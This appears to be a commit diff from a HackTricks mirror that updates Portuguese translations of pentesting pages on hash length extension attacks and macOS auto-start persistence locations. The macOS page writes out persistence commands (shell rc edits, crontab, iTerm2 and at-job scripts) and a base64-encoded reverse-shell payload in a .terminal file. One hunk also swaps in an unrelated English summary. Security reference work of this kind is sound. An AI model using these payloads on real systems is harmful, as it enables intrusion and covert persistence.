Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 05:58:27 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['crypto-and-stego/hash-length-extension-attack.md', 'cryptog

Browse source
This commit is contained in:
Translator 2024-07-17 18:34:30 +00:00
parent 313a13e752
commit 6c69f419db
8 changed files with 575 additions and 392 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

22
crypto-and-stego/hash-length-extension-attack.md
View file

@ -6,11 +6,11 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para** os repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -20,9 +20,9 @@ Outras maneiras de apoiar o HackTricks:
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
Você pode verificar o site deles e experimentar o mecanismo de busca gratuitamente em:
{% embed url="https://whiteintel.io" %}
@ -34,7 +34,7 @@ Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **
* **O comprimento do segredo** (isso também pode ser forçado por força bruta a partir de uma faixa de comprimento fornecida)
* **Os dados de texto claro**
* **O algoritmo (e é vulnerável a esse ataque)**
* **O algoritmo (e que é vulnerável a esse ataque)**
* **O preenchimento é conhecido**
* Geralmente um padrão é usado, então se os outros 3 requisitos forem atendidos, este também é
* O preenchimento varia dependendo do comprimento do segredo+dados, por isso o comprimento do segredo é necessário
@ -67,9 +67,9 @@ Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.or
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
Você pode verificar o site deles e experimentar o mecanismo de busca gratuitamente em:
{% embed url="https://whiteintel.io" %}
@ -79,10 +79,10 @@ Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para** os repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

12
cryptography/hash-length-extension-attack.md
View file

@ -4,11 +4,11 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github.
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -19,7 +19,7 @@ Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **
* **O comprimento do segredo** (isso também pode ser forçado por força bruta a partir de uma faixa de comprimento fornecida)
* **Os dados de texto claro**
* **O algoritmo (e que é vulnerável a esse ataque)**
* **O algoritmo (e que é vulnerável a este ataque)**
* **O preenchimento é conhecido**
* Geralmente um padrão é usado, então se os outros 3 requisitos forem atendidos, este também é
* O preenchimento varia dependendo do comprimento do segredo+dados, por isso o comprimento do segredo é necessário
@ -42,7 +42,7 @@ Se um atacante quiser anexar a string "anexar" ele pode:
{% embed url="https://github.com/iagox86/hash_extender" %}
# Referências
## Referências
Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
@ -53,10 +53,10 @@ Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.or
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github.
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

262
macos-hardening/macos-auto-start-locations.md
View file

@ -1,4 +1,4 @@
# Auto Inicialização do macOS
# Auto Inicialização no macOS
<details>
@ -6,11 +6,11 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -46,9 +46,15 @@ Aqui você pode encontrar locais de inicialização úteis para **burlar a sandb
* **`~/Library/LaunchDemons`**
* **Gatilho**: Reentrada
{% hint style="success" %}
Como fato interessante, **`launchd`** possui uma lista de propriedades incorporada na seção Mach-o `__Text.__config` que contém outros serviços bem conhecidos que o launchd deve iniciar. Além disso, esses serviços podem conter o `RequireSuccess`, `RequireRun` e `RebootOnSuccess` que significa que eles devem ser executados e concluídos com sucesso.
Obviamente, não pode ser modificado devido à assinatura de código.
{% endhint %}
#### Descrição & Exploração
**`launchd`** é o **primeiro** **processo** executado pelo kernel do macOS na inicialização e o último a ser encerrado no desligamento. Ele sempre deve ter o **PID 1**. Esse processo irá **ler e executar** as configurações indicadas nos **plists** **ASEP** em:
**`launchd`** é o **primeiro** **processo** executado pelo kernel do macOS na inicialização e o último a ser finalizado no desligamento. Ele sempre deve ter o **PID 1**. Esse processo irá **ler e executar** as configurações indicadas nos **plists** **ASEP** em:
* `/Library/LaunchAgents`: Agentes por usuário instalados pelo administrador
* `/Library/LaunchDaemons`: Daemons de sistema instalados pelo administrador
@ -94,43 +100,65 @@ Liste todos os agentes e daemons carregados pelo usuário atual:
launchctl list
```
{% hint style="warning" %}
Se um plist é de propriedade de um usuário, mesmo que esteja em pastas de sistema de daemon, a **tarefa será executada como o usuário** e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios.
{% endhint %}
Se um plist pertence a um usuário, mesmo que esteja em pastas de sistema de daemon, a **tarefa será executada como o usuário** e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios.
{% endhint%}
### arquivos de inicialização do shell
#### Mais informações sobre launchd
Análise: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Análise (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
**`launchd`** é o **primeiro** processo do modo de usuário que é iniciado a partir do **kernel**. O início do processo deve ser **bem-sucedido** e ele **não pode sair ou falhar**. Ele é até **protegido** contra alguns **sinais de interrupção**.
Uma das primeiras coisas que o `launchd` faria é **iniciar** todos os **daemons** como:
* **Daemons de temporizador** baseados no tempo a serem executados:
* atd (`com.apple.atrun.plist`): Tem um `StartInterval` de 30 minutos
* crond (`com.apple.systemstats.daily.plist`): Tem `StartCalendarInterval` para iniciar às 00:15
* **Daemons de rede** como:
* `org.cups.cups-lpd`: Escuta em TCP (`SockType: stream`) com `SockServiceName: printer`
* &#x20;SockServiceName deve ser uma porta ou um serviço de `/etc/services`
* `com.apple.xscertd.plist`: Escuta em TCP na porta 1640
* **Daemons de caminho** que são executados quando um caminho especificado muda:
* `com.apple.postfix.master`: Verificando o caminho `/etc/postfix/aliases`
* **Daemons de notificações IOKit**:
* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Porta Mach**:
* `com.apple.xscertd-helper.plist`: Indica na entrada `MachServices` o nome `com.apple.xscertd.helper`
* **UserEventAgent**:
* Isso é diferente do anterior. Ele faz o launchd gerar aplicativos em resposta a eventos específicos. No entanto, neste caso, o binário principal envolvido não é `launchd`, mas `/usr/libexec/UserEventAgent`. Ele carrega plugins da pasta restrita pelo SIP `/System/Library/UserEventPlugins/`, onde cada plugin indica seu inicializador na chave `XPCEventModuleInitializer` ou, no caso de plugins mais antigos, no dicionário `CFPluginFactories` sob a chave `FB86416D-6164-2070-726F-70735C216EC0` de seu `Info.plist`.
### Arquivos de inicialização do shell
Artigo: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Artigo (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa encontrar um aplicativo com um bypass TCC que execute um shell que carregue esses arquivos
* Bypass do TCC: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa encontrar um aplicativo com um bypass do TCC que execute um shell que carregue esses arquivos
#### Localizações
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Gatilho**: Abrir um terminal com zsh
* **Gatilho**: Abrir um terminal com zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Gatilho**: Abrir um terminal com zsh
* Root necessário
* **Gatilho**: Abrir um terminal com zsh
* Requer privilégios de root
* **`~/.zlogout`**
* **Gatilho**: Sair de um terminal com zsh
* **Gatilho**: Sair de um terminal com zsh
* **`/etc/zlogout`**
* **Gatilho**: Sair de um terminal com zsh
* Root necessário
* **Gatilho**: Sair de um terminal com zsh
* Requer privilégios de root
* Potencialmente mais em: **`man zsh`**
* **`~/.bashrc`**
* **Gatilho**: Abrir um terminal com bash
* **Gatilho**: Abrir um terminal com bash
* `/etc/profile` (não funcionou)
* `~/.profile` (não funcionou)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Gatilho**: Esperado para ser acionado com xterm, mas **não está instalado** e mesmo após instalado esse erro é exibido: xterm: `DISPLAY is not set`
* **Gatilho**: Esperado para ser acionado com xterm, mas **não está instalado** e mesmo após instalado esse erro é exibido: xterm: `DISPLAY is not set`
#### Descrição & Exploração
#### Descrição e Exploração
Ao iniciar um ambiente de shell como `zsh` ou `bash`, **certos arquivos de inicialização são executados**. Atualmente, o macOS utiliza `/bin/zsh` como shell padrão. Esse shell é acessado automaticamente quando o aplicativo Terminal é lançado ou quando um dispositivo é acessado via SSH. Embora `bash` e `sh` também estejam presentes no macOS, eles precisam ser explicitamente invocados para serem usados.
Ao iniciar um ambiente de shell como `zsh` ou `bash`, **certos arquivos de inicialização são executados**. Atualmente, o macOS usa `/bin/zsh` como o shell padrão. Esse shell é acessado automaticamente quando o aplicativo Terminal é iniciado ou quando um dispositivo é acessado via SSH. Embora `bash` e `sh` também estejam presentes no macOS, eles precisam ser explicitamente invocados para serem usados.
A página de manual do zsh, que pode ser lida com **`man zsh`**, possui uma descrição extensa dos arquivos de inicialização.
A página de manual do zsh, que podemos ler com **`man zsh`**, tem uma descrição longa dos arquivos de inicialização.
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
@ -141,7 +169,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
Configurar a exploração indicada e sair e entrar novamente ou até mesmo reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas)
{% endhint %}
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -165,7 +193,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
Para **adicionar um aplicativo a esta lista** você pode usar:
Para **adicionar um aplicativo a esta lista**, você pode usar:
```bash
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
@ -178,8 +206,8 @@ Para **adicionar um aplicativo a esta lista** você pode usar:
### Preferências do Terminal
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
* Terminal usa permissões do FDA se o usuário o utilizar
* Bypass do TCC: [✅](https://emojipedia.org/check-mark-button)
* Terminal usado para ter permissões do FDA se o usuário o usar
#### Localização
@ -238,7 +266,7 @@ Você pode adicionar isso a partir da linha de comando com:
#### Descrição e Exploração
Se você criar um script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e abri-lo, o aplicativo **Terminal** será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como TCC), seu comando será executado com esses privilégios especiais.
Se você criar um script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e abri-lo, o aplicativo **Terminal** será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como o TCC), seu comando será executado com esses privilégios especiais.
Experimente com:
```bash
@ -268,7 +296,7 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```
Você também pode usar as extensões **`.command`**, **`.tool`**, com conteúdo de scripts shell regulares e eles também serão abertos pelo Terminal.
Você também pode usar as extensões **`.command`**, **`.tool`**, com conteúdo de scripts shell regular e eles também serão abertos pelo Terminal.
{% hint style="danger" %}
Se o terminal tiver **Acesso Total ao Disco**, ele será capaz de concluir essa ação (observe que o comando executado será visível em uma janela do terminal).
@ -276,8 +304,8 @@ Se o terminal tiver **Acesso Total ao Disco**, ele será capaz de concluir essa
### Plugins de Áudio
Análise: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Análise: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
Descrição: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Descrição: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
@ -286,24 +314,24 @@ Análise: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https:/
#### Localização
* **`/Library/Audio/Plug-Ins/HAL`**
* Root necessário
* Requer privilégios de root
* **Gatilho**: Reiniciar o coreaudiod ou o computador
* **`/Library/Audio/Plug-ins/Components`**
* Root necessário
* Requer privilégios de root
* **Gatilho**: Reiniciar o coreaudiod ou o computador
* **`~/Library/Audio/Plug-ins/Components`**
* **Gatilho**: Reiniciar o coreaudiod ou o computador
* **`/System/Library/Components`**
* Root necessário
* Requer privilégios de root
* **Gatilho**: Reiniciar o coreaudiod ou o computador
#### Descrição
De acordo com as análises anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
De acordo com as descrições anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
### Plugins QuickLook
Análise: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
Descrição: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
@ -319,7 +347,7 @@ Análise: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit
#### Descrição e Exploração
Os plugins QuickLook podem ser executados quando você **aciona a visualização de um arquivo** (pressiona a tecla de espaço com o arquivo selecionado no Finder) e um **plugin que suporta esse tipo de arquivo** está instalado.
Os plugins QuickLook podem ser executados quando você **aciona a visualização de um arquivo** (pressione a barra de espaço com o arquivo selecionado no Finder) e um **plugin que suporta esse tipo de arquivo** está instalado.
É possível compilar seu próprio plugin QuickLook, colocá-lo em uma das localizações anteriores para carregá-lo e depois ir para um arquivo suportado e pressionar espaço para ativá-lo.
@ -329,7 +357,7 @@ Os plugins QuickLook podem ser executados quando você **aciona a visualização
Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root
{% endhint %}
**Análise**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -404,7 +432,7 @@ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
Aqui você pode encontrar os **trabalhos cron** regulares, os **trabalhos at** (não muito usados) e os **trabalhos periódicos** (principalmente usados para limpar arquivos temporários). Os trabalhos periódicos diários podem ser executados, por exemplo, com: `periodic daily`.
Para adicionar um **trabalho cron de usuário programaticamente**, é possível usar:
Para adicionar um **trabalho cron de usuário programaticamente** é possível usar:
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
@ -437,27 +465,19 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
# Locais de Inicialização Automática do macOS
### macOS Auto Start Locations
## Introdução
#### Launch Agents
Neste documento, vamos discutir os diferentes locais onde os aplicativos podem ser configurados para iniciar automaticamente no macOS. É importante estar ciente desses locais para garantir que apenas os aplicativos desejados sejam executados durante a inicialização do sistema.
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
## Locais de Inicialização Automática
#### Launch Daemons
Existem várias maneiras pelas quais um aplicativo pode ser configurado para iniciar automaticamente no macOS. Alguns dos locais comuns incluem:
Launch Daemons are used to run processes at system startup. They are located in `/Library/LaunchDaemons/`.
1. **Login Items**: Os aplicativos listados em "Preferências do Sistema > Usuários e Grupos > Itens de Login" serão iniciados automaticamente quando um usuário fizer login.
#### Login Items
2. **Launch Agents e Launch Daemons**: Esses são arquivos de propriedade do sistema que controlam processos em nível de usuário (Agent) e em nível de sistema (Daemon) respectivamente. Eles estão localizados em `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `/System/Library/LaunchAgents` e `/System/Library/LaunchDaemons`.
3. **Scripts de Inicialização do Usuário**: Os scripts localizados em `~/Library/LaunchAgents` serão executados durante o login do usuário.
4. **Cron Jobs**: Os cron jobs podem ser usados para agendar tarefas para serem executadas automaticamente em horários específicos.
## Conclusão
Ao revisar e monitorar os locais de inicialização automática no macOS, os usuários podem garantir que seu sistema esteja configurado para iniciar apenas os aplicativos desejados, melhorando assim a segurança e o desempenho do sistema.
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -478,7 +498,7 @@ O script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** tamb
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
O arquivo de preferências do iTerm2 localizado em **`~/Library/Preferences/com.googlecode.iterm2.plist`** pode **indicar um comando a ser executado** quando o terminal do iTerm2 é aberto.
O arquivo de preferências do iTerm2 localizado em **`~/Library/Preferences/com.googlecode.iterm2.plist`** pode **indicar um comando a ser executado** quando o terminal iTerm2 é aberto.
Essa configuração pode ser feita nas configurações do iTerm2:
@ -510,7 +530,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %}
{% hint style="warning" %}
É altamente provável que existam **outras maneiras de abusar das preferências do iTerm2** para executar comandos arbitrários.
Altamente provável que existam **outras maneiras de abusar das preferências do iTerm2** para executar comandos arbitrários.
{% endhint %}
### xbar
@ -529,7 +549,7 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevil
#### Descrição
Se o popular programa [**xbar**](https://github.com/matryer/xbar) estiver instalado, é possível escrever um script shell em **`~/Library/Application\ Support/xbar/plugins/`** que será executado quando o xbar for iniciado:
Se o programa popular [**xbar**](https://github.com/matryer/xbar) estiver instalado, é possível escrever um script shell em **`~/Library/Application\ Support/xbar/plugins/`** que será executado quando o xbar for iniciado:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@ -573,7 +593,7 @@ EOF
* `~/Library/Application Support/BetterTouchTool/*`
Esta ferramenta permite indicar aplicativos ou scripts para serem executados quando alguns atalhos são pressionados. Um atacante pode configurar seu próprio atalho e ação para executar no banco de dados para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla).
Esta ferramenta permite indicar aplicativos ou scripts para executar quando alguns atalhos são pressionados. Um atacante pode configurar seu próprio atalho e ação para executar no banco de dados para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla).
### Alfred
@ -595,7 +615,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas o ssh precisa estar habilitado e em uso
* Bypass do TCC: [✅](https://emojipedia.org/check-mark-button)
* SSH costumava ter acesso total ao disco
* SSH costumava ter acesso total ao FDA
#### Localização
@ -606,7 +626,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* **Gatilho**: Login via ssh
{% hint style="danger" %}
Para ativar o ssh, é necessário Acesso Total ao Disco:
Para ligar o ssh, é necessário Acesso Total ao Disco:
```bash
sudo systemsetup -setremotelogin on
```
@ -621,7 +641,7 @@ Por padrão, a menos que `PermitUserRC no` em `/etc/ssh/sshd_config`, quando um
Descrição: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas é necessário executar `osascript` com argumentos
* Mas você precisa executar `osascript` com argumentos
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localizações
@ -673,9 +693,9 @@ Artigo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.g
#### **Descrição**
As tarefas `at` são projetadas para **agendar tarefas únicas** a serem executadas em horários específicos. Ao contrário dos trabalhos do cron, as tarefas `at` são automaticamente removidas após a execução. É crucial observar que essas tarefas são persistentes através de reinicializações do sistema, o que as torna potenciais preocupações de segurança sob certas condições.
As tarefas `at` são projetadas para **agendar tarefas únicas** a serem executadas em horários específicos. Ao contrário dos cron jobs, as tarefas `at` são automaticamente removidas após a execução. É crucial observar que essas tarefas são persistentes através de reinicializações do sistema, o que as torna potenciais preocupações de segurança sob certas condições.
Por **padrão**, elas estão **desabilitadas**, mas o usuário **root** pode **habilitá-las** com:
Por **padrão**, elas estão **desativadas**, mas o usuário **root** pode **habilitá-las** com:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -739,7 +759,7 @@ O nome do arquivo contém a fila, o número do trabalho e o horário agendado pa
- `0001a` - número do trabalho em hexadecimal, `0x1a = 26`
- `019bdcd2` - horário em hexadecimal. Representa os minutos passados desde o epoch. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 27 de abril de 2021, terça-feira 7:46:00`.
Se imprimirmos o arquivo de trabalho, encontramos que ele contém as mesmas informações que obtivemos usando `at -c`.
Se imprimirmos o arquivo do trabalho, descobrimos que ele contém as mesmas informações que obtivemos usando `at -c`.
### Ações de Pasta
@ -749,7 +769,7 @@ Análise: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8
- Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
- Mas você precisa ser capaz de chamar `osascript` com argumentos para contatar **`System Events`** para poder configurar Ações de Pasta
- Bypass de TCC: [🟠](https://emojipedia.org/large-orange-circle)
- Possui algumas permissões básicas do TCC como Desktop, Documents e Downloads
